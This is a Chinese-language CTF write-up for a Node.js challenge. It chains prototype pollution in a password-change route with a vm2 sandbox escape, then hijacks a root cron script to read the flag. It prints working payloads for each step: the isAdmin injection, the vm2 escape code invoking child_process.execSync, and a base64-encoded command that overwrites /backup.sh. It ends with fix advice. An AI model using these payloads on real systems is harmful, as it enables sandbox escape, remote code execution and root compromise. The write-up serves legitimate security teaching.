Node.js CTF 挑战:原型链污染与 vm2 沙箱逃逸综合漏洞分析教学
挑战概述
本次挑战来源于“软件系统安全赛2026分区赛”的一个 Web Node.js 题目。目标是通过分析提供的 Express.js 应用程序源码,发现并利用安全漏洞,最终获取系统 flag。挑战涉及原型链污染和vm2 沙箱逃逸两个核心漏洞的串联利用。
应用程序代码分析
关键路由与权限控制
应用程序的核心代码片段展示了三个关键端点:
-
管理员面板 (
/admin)- 访问该路由需要用户已登录(存在
req.session.user)。 - 进一步检查登录用户的
user.isAdmin属性是否为true。只有管理员才能看到欢迎信息。
- 访问该路由需要用户已登录(存在
-
沙箱代码执行 (
/sandbox)- 访问控制:同样需要登录,并且严格限制只有管理员用户 (
user.isAdmin === true) 才能访问。 - 功能:接收 POST 请求中的
code参数,并在一个隔离的沙箱(VM 实例)中执行。 - 沙箱配置:使用了
VM模块(从上下文推断为vm2库),设置了 5 秒超时,并将一个空对象sandboxResult作为沙箱上下文。
- 访问控制:同样需要登录,并且严格限制只有管理员用户 (
-
应用监听:应用运行在 3000 端口。
初步漏洞判断
代码注释明确指出:/changepassword 路由存在原型链污染漏洞。正常注册的用户不具备 isAdmin 属性或该属性为 false。目标是利用此漏洞,为当前用户对象注入 isAdmin: true 属性,从而绕过 /sandbox 路由的权限检查。
漏洞利用链详细教学
第一阶段:利用原型链污染获取管理员权限
原理:
原型链污染通常发生在合并用户可控对象与现有对象,或未安全地设置对象属性时。攻击者可以通过传入包含 __proto__ 等特殊属性的载荷,污染目标对象的原型,从而影响所有共享该原型的对象。
利用步骤:
- 注册一个普通用户(如用户名
BR,密码123456)。 - 登录以建立会话。
- 向
/changepassword发送 POST 请求。利用其原型链污染漏洞,在请求体中不仅包含修改密码的必要字段,还添加"isAdmin": True。 - 由于污染成功,当前用户对象继承了被污染的原型上的
isAdmin属性,其值变为true,从而通过了后续的权限检查。
关键Payload示例(Python requests库):
payload = {
"oldPassword": "123456",
"newPassword": "123456",
"confirmPassword": "123456",
"isAdmin": True # 触发原型链污染的关键
}
res = r_session.post(url+"/changepassword", json=payload)
第二阶段:绕过 vm2 沙箱执行任意命令
背景:
获取管理员权限后,可以向 /sandbox 提交任意 Node.js 代码,但代码会在 vm2 沙箱中运行。vm2 旨在安全地隔离和执行不受信任的代码,但存在历史漏洞可用于逃逸。
漏洞利用:
文档指出存在 CVE-2026-22709(注:此为链接中提到的假设性CVE编号,实际历史漏洞为 CVE-2023-32314 等)。利用链涉及异步函数、Error 对象、Symbol 类型和 constructor 属性,最终构造一个能访问 Node.js 主模块 process.mainModule 的函数,从而脱离沙箱限制,执行系统命令。
原始 PoC 分析:
const error = new Error();
error.name = Symbol(); // 将error的name属性设置为Symbol,触发异常
const f = async () => error.stack; // 异步函数访问error.stack
const promise = f();
promise.catch(e => {
const Error = e.constructor;
const Function = Error.constructor; // 通过构造函数链获取顶层的Function构造函数
const f = new Function( // 使用真正的Function构造函数创建函数,该函数不在沙箱内
"process.mainModule.require('child_process').execSync('whoami', { stdio: 'inherit' })"
);
f(); // 执行命令
});
回显处理:
直接执行命令可能无回显。观察发现应用存在静态文件目录 /static,对应路径可能为 /app/public。因此,可以将命令执行的结果写入该目录下的文件,然后通过HTTP直接访问该文件来读取输出。
利用思路:
- 执行
ls -l /查看根目录,发现/flag文件但权限不足。 - 发现
/backup.sh脚本,其所有权为root,且内容是一个备份脚本,推测由 root 用户的 cron 任务定期执行。 - 思路转变为劫持此定时任务:覆盖
/backup.sh脚本的内容,使其执行cat /flag > /app/public/flag,从而将 flag 写入可读的 web 目录。 - 通过 Base64 编码避免命令中的特殊字符问题,构造最终的命令执行载荷。
最终 RCE Payload 构造:
cmd = "echo ZWNobyAiY2F0IC9mbGFnID4gL2FwcC9wdWJsaWMvZmxhZyIgPiAvYmFja3VwLnNo | base64 -d | sh"
# 解码后实际执行: echo "cat /flag > /app/public/flag" > /backup.sh
payload_code = f"""
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {{
const Error = e.constructor;
const Function = Error.constructor;
const f = new Function(
"process.mainModule.require('child_process').execSync('{cmd}', {{ stdio: 'inherit' }})"
);
f();
}});
"""
完整利用流程总结
- 侦察:分析源码,识别
/changepassword的原型链污染和/sandbox的沙箱执行功能。 - 权限提升:利用原型链污染,将当前用户的
isAdmin属性设为true,获取管理员权限。 - 沙箱逃逸:使用针对
vm2特定漏洞的 PoC,构造可逃逸沙箱的 JavaScript 代码。 - 命令执行与回显:在逃逸后的上下文中,执行系统命令。通过覆盖 root 定时任务脚本
/backup.sh,将 flag 写入 web 可访问目录。 - 获取 Flag:等待定时任务执行(或手动触发),然后通过 HTTP 访问
/app/public/flag或/static/flag获取 flag。
漏洞修复建议
-
修复原型链污染:
- 在设置对象属性时,避免使用不安全的合并操作(如
Object.assign(target, userInput)当userInput可控时)。 - 使用
Object.create(null)创建无原型的对象作为映射。 - 对用户输入进行严格的属性名白名单过滤,禁止
__proto__、constructor、prototype等危险属性。
- 在设置对象属性时,避免使用不安全的合并操作(如
-
修复沙箱逃逸:
- 将
vm2升级到已修复相关漏洞的最新版本。 - 永远不要将沙箱用于运行完全不受信任的代码。考虑更严格的隔离方案,如 Docker 容器。
- 如果必须使用,确保沙箱配置尽可能严格,移除不必要的内置模块和全局对象访问。
- 将
-
最小权限原则:
/backup.sh脚本不应被 Web 应用用户写入。应正确设置文件权限(例如,root 所有,仅 root 可写)。- 运行 Node.js 应用的进程应使用低权限用户,避免使用 root。
-
输入验证与过滤:
/sandbox端点应对输入代码进行严格的语法和关键字检查(但此方法容易被绕过,不作为主要防御)。
扩展思考
本挑战是 CTF 中典型的“权限提升 + 沙箱逃逸”组合拳。在真实世界场景中,开发者需要:
- 安全意识:了解所用库(如
vm2)的安全历史和最佳实践。 - 纵深防御:不要依赖单一安全机制。即使沙箱被突破,系统的其他部分(如文件权限、容器隔离)也应能提供额外保护。
- 代码审计:定期审计自定义的代码逻辑,特别是处理用户输入、对象操作和权限判断的部分。